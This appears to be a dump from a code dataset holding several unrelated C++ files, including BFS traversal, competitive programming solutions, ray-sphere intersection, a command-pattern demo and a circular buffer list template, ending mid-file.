blob_id stringlengths 40 40 | language stringclasses 1 value | repo_name stringlengths 5 117 | path stringlengths 3 268 | src_encoding stringclasses 34 values | length_bytes int64 6 4.23M | score float64 2.52 5.19 | int_score int64 3 5 | detected_licenses listlengths 0 85 | license_type stringclasses 2 values | text stringlengths 13 4.23M | download_success bool 1 class |
|---|---|---|---|---|---|---|---|---|---|---|---|
ca0f78147b5ca64696346c1e944d8f3924b315ea | C++ | madhavsarpal100/CPP-Practice | /graph/bfs.cpp | UTF-8 | 1,183 | 3.21875 | 3 | [] | no_license | //traverse a graph in bfs order
//input in the form of no of vertices v and edges e
//followed by e pairs of links bw vertces ..stored in adjacency matrix
#include <iostream>
#include <queue>
using namespace std;
void traverse(int **arr,int v,int sv,bool* pushed)
{
queue<int> q;
q.push(sv);pushed[sv]=true;
//cout<<"in("<<sv<<")";
while(!q.empty())
{
int a=q.front();
q.pop();
cout<<a<<" ";
// cout<<"out("<<a<<")";
for(int i=0;i<v;i++)
{
if(arr[a][i]==1)
{
if(!pushed[i])
{ // cout<<"pushing("<<i<<")";
q.push(i);
pushed[i]=true;
}
}
}
}
}
int main() {
int v, e;
cin >> v >> e;
int **arr=new int*[v];
for(int i=0;i<v;i++){
arr[i]=new int[v];
for(int j=0;j<v;j++){
arr[i][j]=0;
}
}
int p,q;
for(int i=0;i<e;i++){
cin>> p>>q;
arr[p][q]=1;
arr[q][p]=1;
}
bool *pushed=new bool[v];
for(int i=0;i<v;i++){
pushed[i]=false;
}
////functi
traverse(arr,v,0,pushed);
for(int i=0;i<v;i++){
delete[] arr[i];
}
delete[]arr;
delete[] pushed;
return 0;
}
| true |
6cc7ff5ee7fe99f7987ea98da167a3edea843ff9 | C++ | xenowits/cp | /practice/XXXXX_codeforces1.cpp | UTF-8 | 1,383 | 2.59375 | 3 | [
"MIT"
] | permissive | //xenowitz -- Jai Shree Ram
#include<bits/stdc++.h>
using namespace std;
#define fori(i,a,b) for (int i = a; i <= b ; ++i)
#define ford(i,a,b) for(int i = a;i >= b ; --i)
#define mk make_pair
#define mod 998244353
#define pb push_back
#define ll long long
#define ld long double
#define MAXN (ll)1e6+5
#define rnd mt19937_64 rng(chrono::high_resolution_clock::now().time_since_epoch().cnt())
#define pi pair<long long int,long long int>
#define sc second
#define fs first
ll binpow(ll a, ll b) {
ll res = 1;
while (b > 0) {
if (b & 1)
res = res * a;
a = a * a;
b >>= 1;
}
return res;
}
int main()
{
ios_base::sync_with_stdio(false);
cin.tie(NULL);
int t;
cin >> t;
while (t--) {
int n, x;
cin >> n >> x;
vector<int> arr(n);
ll sum = 0;
fori(i,0,n-1) {
cin >> arr[i];
sum += arr[i];
}
if (sum%x != 0) {
cout << n << endl;
} else {
//find min and max index where
//arr[i]%x == 0
int minl = 10000000, minr = -1;
fori(i,0,n-1) {
if (arr[i]%x != 0) {
minl = min(minl, i);
minr = max(minr, i);
}
}
// cout << minl << " " << minr << endl;
if (minl == -1 || minr == -1) {
cout << -1 << endl;
} else if (minl == minr) {
//single such element
cout << 1 << endl;
} else {
cout << max(n-minl-1, minr) << endl;
}
}
}
return 0;
}
| true |
51a8b02b4453ba587abd3857358152646898e932 | C++ | turingcompl33t/epic | /include/epic/bag.hpp | UTF-8 | 1,260 | 3.03125 | 3 | [] | no_license | // bag.hpp
#ifndef EPIC_BAG_H
#define EPIC_BAG_H
#include <cstddef>
#include <optional>
#include "epoch.hpp"
#include "deferred.hpp"
namespace epic
{
// the maxmimum number of objects a bag may contain
// TODO: make 64 in non-debug build
constexpr static size_t const MAX_OBJECTS = 4;
// A bag of deferred functions.
class bag
{
// Is this bag sealed?
bool sealed;
// The current count of stored deferred functions.
size_t count;
// The epoch associated with this bag, once sealed.
epoch sealed_epoch;
// The inline array of deferred functions.
std::array<deferred, MAX_OBJECTS> deferreds;
public:
bag();
~bag();
// bag::is_empty()
auto is_empty() const noexcept -> bool;
// bag::is_expired()
// Determines if it is safe to collect the given bag
// with respect to the current global epoch.
auto is_expired(epoch const& e) const noexcept -> bool;
// bag::try_push()
auto try_push(deferred&& def) -> std::optional<deferred>;
// bag::seal()
// Seals the bag with the given epoch.
auto seal(epoch const& e) -> void;
};
}
#endif // EPIC_BAG_H | true |
3829011e14ac630b26bdf004e4e2f62326875f62 | C++ | Darkhunter9/24-780_CPP_OpenGL | /new.cpp | UTF-8 | 301 | 3.109375 | 3 | [] | no_license | #include <stdio.h>
void swapInt(int a[2])
{
int c;
c=a[0];
a[0]=a[1];
a[1]=c;
}
int main(void)
{
int n[2] = { 1, 2 };
// n[0]=1;
// n[1]=2;
printf("Before: n[0]=%d n[1]=%d\n",n[0],n[1]);
swapInt(n);
printf("After: n[0]=%d n[1]=%d\n",n[0],n[1]);
return 0;
}
| true |
e39ea5aca56a61a322f9f32d60aaf72a42272890 | C++ | mayankwadhawan/ray-tracing-computer-graphics | /src/librt/Sphere.cpp | UTF-8 | 3,300 | 3.1875 | 3 | [] | no_license | //----------------------------------------------------------------
// Sphere.cpp
//----------------------------------------------------------------
#include "Sphere.h"
#include <assert.h>
#include <stdio.h>
#include <string>
#include "defs.h"
#include <cmath>
// constructor
Sphere::Sphere(void)
: m_radius(0.5) {
m_center = STVector3(0, 0, 0);
m_color= RGBR_f(0,0,0,1);
}
//adding a parametric constructor
Sphere::Sphere(STVector3 center, float radius, RGBR_f color) {
m_radius = radius;
m_center = center;
m_color = color;
}
// clean up here
Sphere::~Sphere() {
}
//----------------------------------------------------------------------------
// Compute the closest intersection point with the ray
// if it an intersection exist, return true; otherwise false
// return the intersection point information in pIntersection
//-----------------------------------------------------------------------------
bool Sphere::FindIntersection(Ray ray, Intersection *pIntersection) {
bool bFound = false;
// std::cout<<"Sphere color="<<pIntersection->color.b;
// TO DO: Proj2 raytracer
// CAP5705 - Find Intersections.
// 1. Find intersections with this object along the Ray ray
// 2. Store the results of the intersection
// 3. if found and return true, otherwise, return false
// NOTE: The IntersectionPoint pIntersection should store:
// hit point, surface normal, the time t of the ray at the hit point
// and the surface being hit
//------------------------------------------------
//------------------------------------------------------
pIntersection->color=m_color;
double a2 = ray.Origin().x;
double b2 = ray.Origin().y;
double c2 = ray.Origin().z;
double a1 = m_center.x;
double b1 = m_center.y;
double c1 = m_center.z;
double a3 = ray.Direction().x - a2;
double b3 = ray.Direction().y - b2;
double c3 = ray.Direction().z - c2;
double A = a3 * a3 + b3 * b3 + c3 * c3;
double B = 2.0 * (a2 * a3 + b2 * b3 + c2 * c3 - a3 * a1 - b3 * b1 - c3 * c1);
double C = a2 * a2 - 2 * a2 * a1 + a1 * a1 + b2 * b2 - 2 * b2 * b1 + b1 * b1 +
c2 * c2 - 2 * c2 * c1 + c1 * c1 - m_radius * m_radius;
double D = B * B - 4 * A * C;
if (D < 0) {
return false;
}
double t1 = (-B - sqrt(D)) / (2.0 * A);
STVector3 firstPoint = STVector3(ray.Origin().x * (1 - t1) + t1 * ray.Direction().z,
ray.Origin().y * (1 - t1) + t1 * ray.Direction().y,
ray.Origin().z * (1 - t1) + t1 * ray.Direction().z);
STVector3 normal;
if (D == 0) {
pIntersection->color=m_color;
pIntersection->point = firstPoint;
normal = (firstPoint - m_center) / m_radius;
pIntersection->normal = normal;
}
double t2 = (-B + sqrt(D)) / (2.0 * A);
if (std::abs(t1 - 0.5) < std::abs(t2 - 0.5)) {
pIntersection->color=m_color;
pIntersection->point = firstPoint;
normal = (firstPoint - m_center) / m_radius;
pIntersection->normal = normal;
return true;
}
pIntersection->color=m_color;
pIntersection->point = firstPoint;
normal = (firstPoint - m_center) / m_radius;
pIntersection->normal = normal;
return true;
return (bFound);
}
| true |
86e98e15740ad39dc8d1ba0120e9ccff5ce58c58 | C++ | JackLovel/excuise- | /PrimerCppV5/chapter1/ex.1.11.cpp | UTF-8 | 423 | 3.8125 | 4 | [] | no_license | // 比较两数大小使用递归
#include <iostream>
using std::cout;
using std::cin;
void printResult(int lo, int hi)
{
if(lo > hi)
{
printResult(hi, lo);
return;
}
for(int i = lo; i != hi; ++i)
cout << i << " ";
}
int main()
{
int low = 0, high = 0;
cout << "Enter two numbers: ";
cin >> low >> high;
printResult(low, high);
return 0;
}
| true |
6eead1cbbeb95b15aeb0b7a1d076b59c31de60c3 | C++ | akilvein/hr | /nearlyIntegerRockGarden.cpp | UTF-8 | 6,432 | 3.171875 | 3 | [] | no_license |
#include <algorithm>
#include <iostream>
#include <string>
#include <vector>
#include <map>
#include <cmath>
#include <cassert>
#include <sstream>
#include <iterator>
using namespace std;
map<double, vector<pair<int, int> > > pointsByDistance() {
map<double, vector<pair<int, int> > > result;
for (int x = -12; x <= 12; x++) {
for (int y = -12; y <= 12; y++) {
double d = sqrt(x * x + y * y);
if (d != round(d)) {
auto &v = result[d];
v.push_back(make_pair(x, y));
}
}
}
assert(result.size() == 68);
return result;
}
vector<vector<pair<int, int> > > pointsByIndex() {
auto m = pointsByDistance();
vector<vector<pair<int, int> > > result;
for (auto &i : m) {
result.push_back(i.second);
}
assert(result.size() == 68);
return result;
}
struct SixPoints {
double sum;
char indexes[6];
};
void addResult(const SixPoints &l, const SixPoints &r, vector<vector<int> > &combinations, vector<bool> &existing) {
vector<int> combo;
for (int i = 0; i < 6; i++) {
combo.push_back(l.indexes[i]);
combo.push_back(r.indexes[i]);
}
bool isNew = false;
for (int i : combo) {
if (!existing[i]) {
isNew = true;
existing[i] = true;
}
}
if (!isNew) {
return;
}
combinations.push_back(combo);
stringstream ss;
copy(combo.begin(), combo.end(), ostream_iterator<int>(ss,", "));
cout << "{" << ss.str() << "}," << endl;
}
bool isPairValid(const SixPoints &l, const SixPoints &r, const vector<int> &distNums) {
double sum = l.sum + r.sum;
double sigma = abs(sum - round(sum));
if (sigma < 0.9e-12) {
vector<int> dn(distNums);
for (int i : l.indexes) {
dn[i]--;
if (dn[i] < 0) {
return false;
}
}
for (int i : r.indexes) {
dn[i]--;
if (dn[i] < 0) {
return false;
}
}
return true;
}
return false;
}
void possibleSets() {
auto pointsMap = pointsByDistance();
vector<double> distVals;
for (auto &i : pointsMap) {
distVals.push_back(i.first);
}
vector<int> distNums;
for (auto &i : pointsMap) {
distNums.push_back(i.second.size());
}
vector<SixPoints> possibilities;
int n = pointsMap.size();
for (int i0 = 0; i0 < n; i0++) {
for (int i1 = i0; i1 < n; i1++) {
for (int i2 = i1; i2 < n; i2++) {
for (int i3 = i2; i3 < n; i3++) {
for (int i4 = i3; i4 < n; i4++) {
for (int i5 = i4; i5 < n; i5++) {
possibilities.push_back({distVals[i0] + distVals[i1] + distVals[i2] + distVals[i3] + distVals[i4] + distVals[i5],
{(char)i0, (char)i1, (char)i2, (char)i3, (char)i4, (char)i5}});
}
}
}
}
}
}
cout << "filled" << endl;
for (SixPoints &sp : possibilities) {
sp.sum -= floor(sp.sum);
}
cout << "normalized" << endl;
sort(possibilities.begin(), possibilities.end(),
[](const SixPoints &l, const SixPoints &r) { return l.sum < r.sum; }
);
cout << "sorted" << endl;
vector<vector<int> > combinations;
vector<bool> existing(pointsMap.size(), false);
auto l = possibilities.begin();
auto r = possibilities.end() - 1;
while (l < r) {
SixPoints &left = *l;
SixPoints &right = *r;
if (isPairValid(left, right, distNums)) {
addResult(left, right, combinations, existing);
}
if (left.sum + right.sum > 1) {
r--;
} else {
l++;
}
}
for (int i = 0; i < (int)pointsMap.size(); i++) {
assert(existing[i]);
}
}
vector<vector<int> > combos = {
{8, 4, 13, 25, 28, 27, 49, 37, 51, 43, 65, 45},
{4, 10, 6, 19, 30, 33, 41, 59, 43, 59, 47, 59},
{12, 15, 45, 23, 48, 47, 54, 52, 65, 57, 65, 65},
{9, 26, 15, 31, 31, 34, 33, 34, 60, 37, 63, 41},
{9, 15, 15, 31, 31, 34, 33, 34, 60, 37, 63, 56},
{4, 1, 19, 30, 26, 32, 33, 43, 59, 47, 59, 59},
{6, 2, 31, 13, 31, 30, 46, 31, 50, 45, 52, 54},
{9, 7, 26, 31, 31, 34, 33, 34, 37, 56, 60, 63},
{18, 18, 30, 28, 40, 31, 42, 48, 44, 49, 61, 66},
{11, 35, 12, 37, 29, 43, 31, 44, 44, 57, 60, 64},
{3, 2, 6, 20, 7, 26, 8, 34, 25, 39, 62, 43},
{16, 9, 31, 16, 33, 31, 34, 34, 56, 37, 56, 63},
{4, 3, 11, 21, 22, 34, 34, 34, 42, 35, 54, 47},
{10, 9, 21, 21, 25, 24, 30, 41, 38, 44, 62, 48},
{4, 28, 28, 33, 40, 41, 40, 45, 54, 54, 66, 55},
{11, 29, 12, 31, 35, 37, 43, 44, 44, 57, 53, 67},
{3, 7, 17, 8, 17, 16, 34, 20, 39, 25, 43, 26},
{3, 14, 21, 36, 21, 36, 37, 37, 44, 54, 62, 66},
{0, 8, 1, 10, 3, 25, 20, 39, 34, 43, 41, 62},
{13, 5, 16, 30, 22, 31, 31, 31, 45, 46, 54, 52},
{18, 21, 22, 26, 45, 46, 51, 53, 65, 58, 65, 65}
};
int getIndexAndRemove(pair<int, int> point, vector<vector<pair<int, int> > > &points) {
for (int i = 0; i < (int)points.size(); i++) {
vector<pair<int, int> > &v = points[i];
auto it = find(v.begin(), v.end(), point);
if (it != v.end()) {
v.erase(it);
return i;
}
}
assert(false);
return -1;
}
pair<int, int> getPointAndRemove(int index, vector<vector<pair<int, int> > > &points) {
assert(index > 0);
assert(index < (int)points.size());
auto &v = points[index];
assert(v.size() > 0);
auto result = v[0];
v.erase(v.begin());
return result;
}
vector<int> getCombo(int index) {
for (vector<int> combo : combos) {
auto it = find(combo.begin(), combo.end(), index);
if (it != combo.end()) {
combo.erase(it);
return combo;
}
}
assert(false);
return vector<int>();
}
int main()
{
int x, y;
cin >> x >> y;
auto points = pointsByIndex();
int index = getIndexAndRemove(make_pair(x, y), points);
auto combo = getCombo(index);
for (int i : combo) {
auto point = getPointAndRemove(i, points);
cout << point.first << " " << point.second << endl;
}
return 0;
}
| true |
979d973b7de20783be506cd14ce525fb67f0ba07 | C++ | NoahScanlon/COMP201-2014 | /lab1.cpp | UTF-8 | 597 | 2.875 | 3 | [] | no_license | #include <fstream>
#include <iostream>
using namespace std;
int main(int argc, char* argv[]) {
ifstream wrong;
ofstream right;
wrong.open(argv[1]);
if (wrong.fail())
{
cout << "Unable to open " << argv[1] << endl;
return 1;
}
right.open("output.txt");
if (right.fail())
{
cout << "Unable to open " << "output.txt" << endl;
return 1;
}
right << "x\tx^2\tCurrent Sum" << endl;
right << "=\t===\t===========" << endl;
int num, sum = 0;
while (wrong >> num)
{
right << num << "\t" << num*num << "\t" << (sum += num) << endl;
}
wrong.close();
right.close();
return 0;
} | true |
5088e02ecd888cfc07ad205036b9fd02605e8657 | C++ | fhnstephen/Leetcode | /160-intersection-of-two-linked-lists/160-intersection-of-two-linked-lists.cc | UTF-8 | 926 | 3.328125 | 3 | [] | no_license | /**
* Definition for singly-linked list.
* struct ListNode {
* int val;
* ListNode *next;
* ListNode(int x) : val(x), next(NULL) {}
* };
*/
class Solution {
public:
ListNode *getIntersectionNode(ListNode *headA, ListNode *headB) {
int len1 = 0, len2 = 0, delta = 0;
for (auto temp = headA; temp != nullptr; temp = temp->next, len1++);
for (auto temp = headB; temp != nullptr; temp = temp->next, len2++);
auto temp1 = headA, temp2 = headB;
if (len1 > len2) {
delta = len1 - len2;
}
else {
delta = len2 - len1;
swap(temp1, temp2);
}
for (int i = 0; i < delta; ++i, temp1 = temp1->next);
while (temp1 != nullptr && temp2 != nullptr) {
if (temp1 == temp2) return temp1;
temp1 = temp1->next;
temp2 = temp2->next;
}
return nullptr;
}
};
| true |
91befe74941a018cec1b39fa8556d8bdb52eab19 | C++ | liuhello/snet | /snet/connection.cc | UTF-8 | 1,731 | 2.703125 | 3 | [] | no_license |
#include "connection.h"
#include <cstdio>
namespace snet
{
#define MAX_BUF_SIZE 1024*4
/////////////////////////////////////////////
//Connection
/////////////////////////////////////////////
Connection::Connection(Socket* s):SocketEvent(s)
{
m_read = new ByteBuffer(512);
m_write = new ByteBuffer(512);
}
Connection::~Connection()
{
if(m_read)delete m_read;
m_read = NULL;
if(m_write)delete m_write;
m_write = NULL;
}
bool Connection::handleRead()
{
char buf[MAX_BUF_SIZE];
int res = m_socket->read(buf,MAX_BUF_SIZE);
if(res <= 0) return false;
//printf("read %d byte from connection\n",res);
return m_read->write(buf,res) == res;
}
bool Connection::handleWrite()
{
int res = m_socket->write(m_write->array(),m_write->len());
if(res < 0) return false;
m_write->consume(res);
return true;
}
/////////////////////////////////////////////
//ServerSocketEvent
/////////////////////////////////////////////
ServerSocketEvent::~ServerSocketEvent()
{
m_manager = NULL;
}
bool ServerSocketEvent::handleRead()
{
if(!isRead()) return true;
ServerSocket* ss = (ServerSocket*)m_socket;
Socket *s = ss->accept();
if(s)
{
//printf("accept socket : %s\n",s->getAddress().c_str());
s->setTcpNoDelay(true);
Connection *conn = new Connection(s);
return m_manager->addEvent(conn,true,false);
}
return true;
}
bool ServerSocketEvent::handleWrite()
{
return true;
}
}
| true |
aa08d5b11dadac45017a90d00e84ba6cbff4273b | C++ | Angela-Oo/MasterThesis | /src/algo/registration/evaluation/error_evaluation.cpp | UTF-8 | 3,251 | 2.71875 | 3 | [] | no_license | #include "error_evaluation.h"
#include <CGAL/Polygon_mesh_processing/compute_normal.h>
#include "barycentric_coordinates.h"
namespace Registration {
std::vector<double> evaluate_distance_error(std::vector<std::pair<Point, Point>> nearest_points)
{
std::vector<double> distances;
for (auto p : nearest_points) {
auto vector = p.first - p.second;
double distance = sqrt(vector.squared_length());
if (isnan(distance) || isinf(distance))
std::cout << "bad" << std::endl;
distances.push_back(distance);
}
return distances;
}
SurfaceMesh::Point ErrorEvaluation::getNearestPointOnSurface(Point & point)
{
auto nn = _nn_search->search(point);
for (Neighbor_search::iterator it = nn.begin(); it != nn.end(); ++it) {
auto distance = std::sqrt(it->second);
auto vertex_handle = it->first;
auto vertex = _reference_mesh.point(vertex_handle);
auto he_handle = _reference_mesh.halfedge(vertex_handle);
for (auto face : _reference_mesh.faces_around_target(he_handle)) {
if (_reference_mesh.has_valid_index(face)) {
auto normal = _fnormal[face];
auto point_on_plane = pointOnPlane(Plane(vertex, normal), point);
std::vector<Point> face_points;
for (auto fv : _reference_mesh.vertices_around_face(_reference_mesh.halfedge(face)))
{
face_points.push_back(_reference_mesh.point(fv));
}
if (face_points.size() == 3) {
auto barycentric_coordinates = barycentricCoordinates(face_points[0], face_points[1], face_points[2], point_on_plane);
double relative_area = barycentric_coordinates.x() + barycentric_coordinates.y() + barycentric_coordinates.z();
if (relative_area <= 1.) {
return point_on_plane;
}
}
}
}
return vertex;
}
return point;
}
std::vector<std::pair<Point, Point>> ErrorEvaluation::evaluate_error(const SurfaceMesh & mesh)
{
std::vector<std::pair<Point, Point>> nearest_points;
for (auto p : mesh.vertices()) {
auto point = mesh.point(p);
auto nearest_point = getNearestPointOnSurface(point);
if ((nearest_point - CGAL::ORIGIN).squared_length() == 0.f || isnan(nearest_point[0]) || isnan(nearest_point[1]))
std::cout << "help" << std::endl;
nearest_points.push_back(std::make_pair(point, nearest_point));
}
return nearest_points;
}
RegistrationError ErrorEvaluation::errorEvaluation(const SurfaceMesh & mesh)
{
std::vector<vertex_descriptor> v_ids;
std::vector<double> distances;
for (auto p : mesh.vertices()) {
auto point = mesh.point(p);
auto nearest_point = getNearestPointOnSurface(point);
auto vector = point - nearest_point;
double distance = sqrt(vector.squared_length());
//double distance = vector.squared_length();
if (isnan(distance) || isinf(distance))
std::cout << "bad" << std::endl;
v_ids.push_back(p);
distances.push_back(distance);
}
return RegistrationError(v_ids, distances);
}
ErrorEvaluation::ErrorEvaluation(const SurfaceMesh & reference_mesh)
: _reference_mesh(reference_mesh)
{
_nn_search = std::make_unique<NearestNeighborSearch>(_reference_mesh);
auto fnormals = _reference_mesh.add_property_map<face_descriptor, Vector>("f:normals", Vector(0, 0, 0));
CGAL::Polygon_mesh_processing::compute_face_normals(_reference_mesh, fnormals.first);
_fnormal = fnormals.first;
}
} | true |
90b0c83e1637d53d6099fb9a873916dc52bd25d2 | C++ | hkhl/cplusplus | /设计模式/dm19命令模式.cpp | GB18030 | 1,025 | 3.125 | 3 | [] | no_license | #include <iostream>
using namespace std;
//ҽ
class Doctor
{
public:
void treat_eye()
{
cout << "ۿ" << endl;
}
void treat_nose()
{
cout << "ǿ" << endl;
}
};
class CommandTreatEye
{
public:
CommandTreatEye(Doctor *doctor)
{
m_doctor = doctor;
}
void treat()
{
m_doctor->treat_eye();
}
private:
Doctor *m_doctor;
};
class CommandTreatNose
{
public:
CommandTreatNose(Doctor *doctor)
{
m_doctor = doctor;
}
void treat()
{
m_doctor->treat_nose();
}
private:
Doctor *m_doctor;
};
void main01()
{
//1 ҽֱӿ ȡ
Doctor *doctor = new Doctor;
doctor->treat_eye();
doctor->treat_nose();
delete doctor;
}
//ͨģʽ
void main02()
{
Doctor *doctor = new Doctor;
CommandTreatEye *comte = new CommandTreatEye(doctor);
comte->treat();
delete comte;
CommandTreatNose *comtn = new CommandTreatNose(doctor);
comtn->treat();
delete comtn;
delete doctor;
}
void main()
{
main01(); //϶̫
main02();
system("pause");
} | true |
899ab233bb40bf743bf0e35ffbd430a2634b551c | C++ | k96payne/linked_list_implementations | /CBL.h | UTF-8 | 18,080 | 3.171875 | 3 | [] | no_license | //===============================================//
// Circular Buffer List Template class //
// Kyle Payne //
// Project 1 //
//===============================================//
#ifndef CBL_H_
#define CBL_H_
#define DEFAULT_ARRAY_SIZE 50
#include <iostream>
#include <stdexcept>
#include "List.h"
namespace cop3530 {
template< typename E >
class CBL : public List< E > {
// Iterator
//--------------------------------------------------------//
template< typename CblT, typename T >
class Cbl_Iter {
public:
// Required Type Aliases
//========================================================//
using value_type = T;
using reference = T&;
using pointer = T*;
using difference_type = std::ptrdiff_t;
using iterator_category = std::forward_iterator_tag;
//========================================================//
// Additional Type Aliases
//========================================================//
using self_type = Cbl_Iter;
using self_reference = Cbl_Iter&;
//========================================================//
// Factories
//========================================================//
static Cbl_Iter create_begin( CblT& obj ) {
Cbl_Iter s( obj, obj.head );
return s;
}
static Cbl_Iter create_end( CblT& obj ) {
Cbl_Iter s( obj, obj.tail );
return s;
}
//========================================================//
// Iterator Copy and Assignment
//========================================================//
Cbl_Iter operator=( Cbl_Iter const& s ) {
if( &s == this ) { return *this; }
curr = s.curr;
return *this;
}
//========================================================//
// Iterator Operations
//========================================================//
reference operator*() const {
if( curr < obj.tail ) { return (obj.cbl[curr]); }
throw std::runtime_error( "ERROR using reference : Iterator Exhausted: no such point" );
}
pointer operator->() const { return &(operator*()); }
bool operator==( Cbl_Iter const& rhs ) const {
return (&obj == &rhs.obj && curr == rhs.curr);
}
bool operator!=( Cbl_Iter const& rhs ) const {
return (&obj != &rhs.obj || curr != rhs.curr);
}
Cbl_Iter operator++() {
if( curr == obj.tail )
throw std::runtime_error( "ERROR using ++ : Iterator Exhausted: no such point" );
if( curr == obj.listSize - 1 ) curr = 0;
else curr++;
return *this;
}
self_type operator++(int) {
if( curr == obj.tail )
throw std::runtime_error( "ERROR using ++(int) : Iterator Exhausted: no such point" );
self_type tmp(*this);
++( *this );
return tmp;
}
//========================================================//
private:
CblT& obj;
size_t curr;
// Iterator Constructor
//--------------------------------------------------------//
Cbl_Iter( CblT& s, size_t start) : obj( s ), curr( start ) { }
}; //close iterator class
public:
// Constructors
//========================================================//
CBL( void ); // DEFAULT_LIST_SIZE Constrctor
CBL( size_t size ); // User Input Size Constructor
//========================================================//
// Copy Constructor
CBL( const CBL& source );
// Overload Assignment
CBL< E >& operator=( const CBL& source );
// Move Constructor
CBL( CBL&& source );
// Overload Move Assignment
CBL< E >& operator=( CBL&& source );
// Operations
//========================================================//
void insert( E element, size_t position ) override ; //Insert element as specified index
void push_back( E element ) override ; //Add element to back of list
void push_front( E element ) override ; //Add element to front of list
E replace( E element, size_t position ) override ; //Replace and return element at specified index
E remove( size_t position ) override ; //Remove and return element at specified index
E pop_back( void ) override ; //Remove and return element from end of list
E pop_front( void ) override ; //Remove return element from front of list
E& item_at( size_t position ) override ; //Return element at specified Index
E& peek_back( void ) override ; //Return element at back of list
E& peek_front( void ) override ; //Return element at fron of list
bool is_empty( void ) override ; //Return true if list is empty
bool is_full( void ) override ; //Return true if list is full
size_t length( void ) override ; //Return length of list
void clear( void ) override ; //Clear list
bool contains( E element, bool (*fctn)(const E&, const E&) ) override ; //Return true if list contains specified element
std::ostream& print( std::ostream& os ) override ; //Print list
E * contents( void ) override ; //Return array of list contents
//========================================================//
// Destructor
~CBL( void ) override ;
// Iterator Creators
//========================================================//
//using size_t = std::size_t;
using value_type = E;
using iterator = Cbl_Iter<CBL, value_type>;
using const_iterator = Cbl_Iter< CBL const, value_type const>;
const_iterator begin( void ) const { return const_iterator::create_begin( *this ); }
const_iterator end( void ) const { return const_iterator::create_end( *this ); }
iterator begin( void ) { return iterator::create_begin( *this ); }
iterator end( void ) { return iterator::create_end( *this ); }
//========================================================//
private:
size_t head, tail, listSize, origSize;
E * cbl;
bool reallocateCheck( size_t length ) {
if( length == listSize ) {
reallocateLarger();
return true;
}
else if( ( listSize >= origSize ) && ( length < ( listSize / 2 )) ) {
reallocateSmaller( length );
return true;
}
return false;
}
void reallocateLarger( void ) {
size_t prevSize = listSize;
E * temp = new E[ listSize ];
size_t index = 0;
size_t prevInd = head;
while( index != listSize ) {
if( prevInd == listSize ) prevInd = 0;
temp[ index ] = cbl[ prevInd ];
index++;
prevInd++;
}
delete [] cbl;
listSize = listSize * 1.5;
cbl = new E[ listSize ];
for( size_t i = 0; i < prevSize; i ++ )
cbl[ i ] = temp[ i ];
for( size_t i = prevSize; i < listSize; i++ )
cbl[ i ] = { };
head = 0;
tail = prevSize;
delete [] temp;
}
void reallocateSmaller( size_t length ) {
E * temp = new E[ listSize ];
size_t index = 0;
size_t prevInd = head;
while( index != listSize ) {
if( prevInd == listSize ) prevInd = 0;
temp[ index ] = cbl[ prevInd ];
index++;
prevInd++;
}
delete [] cbl;
listSize = listSize * .75;
cbl = new E[ listSize ];
for( size_t i = 0; i < listSize; i ++ )
cbl[ i ] = temp[ i ];
head = 0;
tail = length;
delete [] temp;
}
}; //close CBL class
// CONSTRUCTORS
//========================================================//
template< typename E >
CBL< E >::CBL( void ) {
head = 0;
tail = 0;
listSize = DEFAULT_ARRAY_SIZE;
origSize = DEFAULT_ARRAY_SIZE;
cbl = new E[ listSize ];
for( size_t i = 0; i < listSize; i++ )
cbl[ i ] = { };
}
template< typename E >
CBL< E >::CBL( size_t size ) {
head = 0;
tail = 0;
listSize = size;
origSize = size;
cbl = new E[ listSize ];
for( size_t i = 0; i < listSize; i++ )
cbl[ i ] = { };
}
//========================================================//
// COPY CONSTRUCTOR
//========================================================//
template< typename E >
CBL< E >::CBL( const CBL& source ) {
this -> cbl = new E[ source.listSize ];
this -> head = source.head;
this -> tail = source.tail;
this -> origSize = source.origSize;
this -> listSize = source.listSize;
for( size_t i = 0; i < source.listSize; i++ )
this -> cbl[ i ] = source.cbl[ i ];
}
//========================================================//
// OVERLOAD ASSIGNMENT
//========================================================//
template< typename E >
CBL< E >& CBL< E >::operator=( const CBL& source ) {
//Check for self assignment
if( this == &source ) return * this;
// Delete Data
//------------------------------------//
delete [] cbl;
//------------------------------------//
this -> cbl = new E[ source.listSize ];
this -> head = source.head;
this -> tail = source.tail;
this -> origSize = source.origSize;
this -> listSize = source.listSize;
for( size_t i = 0; i < source.listSize; i++ )
this -> cbl[ i ] = source.cbl[ i ];
return * this;
}
//========================================================//
// MOVE CONSTRUCTOR
//========================================================//
template< typename E >
CBL< E >::CBL( CBL&& source ) {
this -> head = source.head;
this -> tail = source.tail;
this -> listSize = source.listSize;
this -> origSize = source.origSize;
this -> cbl = source.cbl;
E * temp = new E[ source.origSize ];
for( size_t i = 0; i < source.origSize; i++ ) temp[ i ] = { };
source.head = 0;
source.tail = 0;
source.cbl = temp;
source.listSize = source.origSize;
}
//========================================================//
// OVERLOAD MOVE ASSIGNMENT
//========================================================//
template< typename E >
CBL< E >& CBL< E >::operator=( CBL&& source ) {
//Check for self assignment
if( this == &source ) return * this;
// Delete Data
//------------------------------------//
delete [] cbl;
//------------------------------------//
this -> cbl = new E[ source.listSize ];
this -> head = source.head;
this -> tail = source.tail;
this -> listSize = source.listSize;
for( size_t i = 0; i < source.listSize; i++ )
this -> cbl[ i ] = source.cbl[ i ];
source.tail = 0;
source.head = 0;
return * this;
}
//========================================================//
// DESTRUCTOR
//========================================================//
template< typename E >
CBL< E >::~CBL( void ) {
for( size_t i = 0; i < listSize; i ++ )
cbl[ i ] = { };
head = 0;
tail = 0;
listSize = 0;
delete [] cbl;
}
//========================================================//
// insert
//========================================================//
template< typename E >
void CBL< E >::insert( E element, size_t position ) {
if( position > length() )
throw std::runtime_error( "CBL< E >::insert() ERROR: Index Out of Bounds" );
size_t l = length() + 1;
size_t index = head;
for( size_t i = 0; i < position; i++) {
if( index == listSize - 1) index = 0;
else index++;
}
if( index == tail ) cbl[ tail ] = element;
else if( index == (head - 1) ) return push_front( element );
else if( head == 0 && index == (listSize - 1) ) return push_front( element );
else {
size_t i = tail;
while( i != index ) {
if( i == 0 ) {
cbl[ i ] = cbl[ listSize - 1 ];
i = listSize - 1;
continue;
}
cbl[ i ] = cbl[ i - 1 ];
i--;
}
cbl[ index ] = element;
}
if( !reallocateCheck( l ) ) {
if( tail == listSize - 1 ) tail = 0;
else tail++;
}
}
//========================================================//
// push_back
//========================================================//
template< typename E >
void CBL< E >::push_back( E element ) {
size_t l = length() + 1;
cbl[ tail ] = element;
if( !reallocateCheck( l ) ) {
if( tail == listSize - 1 ) tail = 0;
else tail++;
}
}
//========================================================//
// push_front
//========================================================//
template< typename E >
